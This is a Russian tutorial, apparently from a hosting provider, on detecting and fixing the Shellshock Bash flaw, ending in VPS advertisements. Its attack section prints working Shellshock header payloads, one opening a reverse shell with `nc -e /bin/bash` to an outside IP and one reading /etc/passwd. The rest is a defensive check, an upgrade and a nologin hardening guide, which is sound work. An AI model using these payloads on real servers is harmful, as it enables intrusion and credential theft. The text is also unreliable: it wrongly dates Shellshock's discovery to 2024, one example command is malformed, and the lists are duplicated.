Как защитить свой сервер от уязвимости Shellshock Bash

    Команда Simple-Server
    03.06.2026
    5 мин

    Материал подготовлен командой Simple-Server для администраторов VPS и выделенных серверов. Команды и пути проверяйте на тестовой машине перед production.

    Принцип работы уязвимости Shellshock Bash

    Как уже было сказано ранее, суть Shellshock Bash заключается в возможности удаленного выполнения произвольных команд на атакуемой системе. Причина возникновения данной уязвимости заключается в том, что Bash завершает обработку команд при импорте функций которые хранятся в переменной окружения среды. Иными словами, угроза заключается в возможности установки переменных окружения внутри интерпретатора Bash, в которых объявляются функции. Сама уязвимость возникает, когда Bash продолжает обрабатывать команды после объявления функции. В результате происходит атака с внедрением вредоносного кода. Рассмотрим уязвимость на конкретном примере:

    http-header = Cookie:() { :; }; ping -c 192.168.36.136

    В данном примере мы определили HTTP запрос который состоит из функции, заданной при помощи символов () { :; }, а также содержит в себе команду интерпретатора — ping с указанным параметром в виде IP-адреса. Вместо команды ping можно подставить любую другую команду. В примере выше удаленная команда выполняет ping IP-адреса на удаленном хосте после объявления функции.

    Также Shellshock Bash можно использовать в CGI скриптах:

    curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.36.106 443" 192.168.x.y/CGI-bin/hello.cgi curl --insecure 192.168.36.106 -H "User-Agent: () { :; }; /bin/cat /etc/passwd"

    Эксплуатировать Shellshock можно следующими способами:

    • Использование в скриптах Bash.
      Переменные окружения могут быть встроены в скрипты Bash (файлы с расширением .sh). При выполнении скриптов Bash, интерпретатор выполнит значения, которые указаны в переменных окружения.

    • Использование вредоносной веб-страницы.
      В веб-страницу встраивается переменная окружения. Когда пользователь посещает веб-страницу, переменная окружения будет отправлена на веб-сервер, который выполнит произвольную команду.

    • При отправке писем электронной почты.
      Создается письмо, содержащее переменную окружения с необходимым содержимым. Когда пользователь откроет сообщение, переменная окружения будет отправлена почтовому клиенту, который выполнит произвольную команду.**
      **

    Использование в скриптах Bash.
    Переменные окружения могут быть встроены в скрипты Bash (файлы с расширением .sh). При выполнении скриптов Bash, интерпретатор выполнит значения, которые указаны в переменных окружения.

    Использование вредоносной веб-страницы.
    В веб-страницу встраивается переменная окружения. Когда пользователь посещает веб-страницу, переменная окружения будет отправлена на веб-сервер, который выполнит произвольную команду.

    При отправке писем электронной почты.
    Создается письмо, содержащее переменную окружения с необходимым содержимым. Когда пользователь откроет сообщение, переменная окружения будет отправлена почтовому клиенту, который выполнит произвольную команду.**
    **

    Уязвимость Shellshock может использоваться в системах, на которых запущены службы или приложения, позволяющие неавторизованным удаленным пользователям использовать переменные среды Bash. К таким приложениям относятся:

    • Веб-серверы, которые поддерживают выполнение CGI скриптов

    • Серверы с установленным OpenSSH и с включенным параметром ForceCommand

    • DHCP-клиенты

    Веб-серверы, которые поддерживают выполнение CGI скриптов

    Серверы с установленным OpenSSH и с включенным параметром ForceCommand

    Проверяем сервер на возможность использования Shellshock Bash

    Для того чтобы проверить уязвима ли ваша версия Bash, в терминале необходимо выполнить следующую команду:

    env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

    Если в ответ вернулось слово vulnerable, то ваша версия Bash является уязвимой, и вы подвержены Shellshock Bash. Если же в ответ вернулось сообщение this is a test, то ваша версия Bash уже содержит в себе необходимые исправления, и уязвимость Shellshock Bash вам не угрожает.

    Далее разберём всевозможные способы по устранению и недопущению уязвимости Shellshock Bash.

    Методы защиты от Shellshock Bash

    Для того чтобы защитить ваш сервер от уязвимости Shellshock Bash, необходимо предпринять следующие шаги:

    Самый простой и быстрый способ решения проблемы с Shellshock Bash. Для этого необходимо выполнить одну из следующих команд в зависимости от используемого дистрибутива Linux.

    Для дистрибутивов на основе Debian (Ubuntu, Linux Mint, Xubuntu и других) команда будет следующей:

    apt update && apt install --only-upgrade bash

    После того как ваша версия bash была успешно обновлена, необходимо воспроизвести уязвимость еще раз. Подробные действия указаны в предыдущей главе «Проверяем сервер на возможность использования Shellshock Bash».

    1. Запретить пользователям вход на сервер

    В системах Linux многие программы создают своих пользователей и запускаются от имени созданных пользователей. Данным пользователям можно выключить возможность входа на сервер. Для этого существуют несколько способов.

    При создании пользователя при помощи утилиты useradd (где web — имя создаваемого пользователя):

    useradd -s /sbin/nologin web

    При создании пользователя при помощи утилиты adduser (где web — имя создаваемого пользователя):

    adduser --shell /sbin/nologin web

    Для отключения входа для уже существующего пользователя можно воспользоваться утилитой chsh (где web — имя ранее созданного пользователя):

    chsh -s /sbin/nologin web

    Стоит отметить, что программа chsh присутствует не во всех дистрибутивах Linux.

    Для отключения входа для уже существующего пользователя при помощи утилиты usermod (где web — имя ранее созданного пользователя):

    usermod web -s /sbin/nologin

    В этом материале мы разобрали уязвимость Shellshock Bash, а также рассмотрели методы защиты. Несмотря на то, что уязвимость Shellshock Bash была обнаружена в 2024 году, различные способы ее эксплуатации по-прежнему существуют. В этом туториале мы описали несколько способов, с помощью которых можно закрыть эту уязвимость.


    Нужен сервер для практики? Закажите VPS на Simple-Server — root-доступ, NVMe, DDoS-защита и поддержка 24/7.

    VPS для проекта

    VPS с root-доступом, NVMe и поддержкой 24/7 на Simple-Server.

    StarterVDS

    490

    в месяц

    1 ядро

    1 ГБ RAM

    20 ГБ NVMe

    • 1 IPv4
    • KVM
    • Root-доступ
    • Безлимитный трафик
    Заказать VPS
    Рекомендуем

    PerformanceVDS

    1190

    в месяц

    2 ядра

    4 ГБ RAM

    60 ГБ NVMe

    • 1 IPv4
    • KVM
    • Root-доступ
    • Базовая DDoS-защита
    Заказать VPS

    Нужна другая конфигурация? Посмотрите все доступные тарифы

    Все тарифы VPS

    Похожие статьи, которые могут быть вам интересны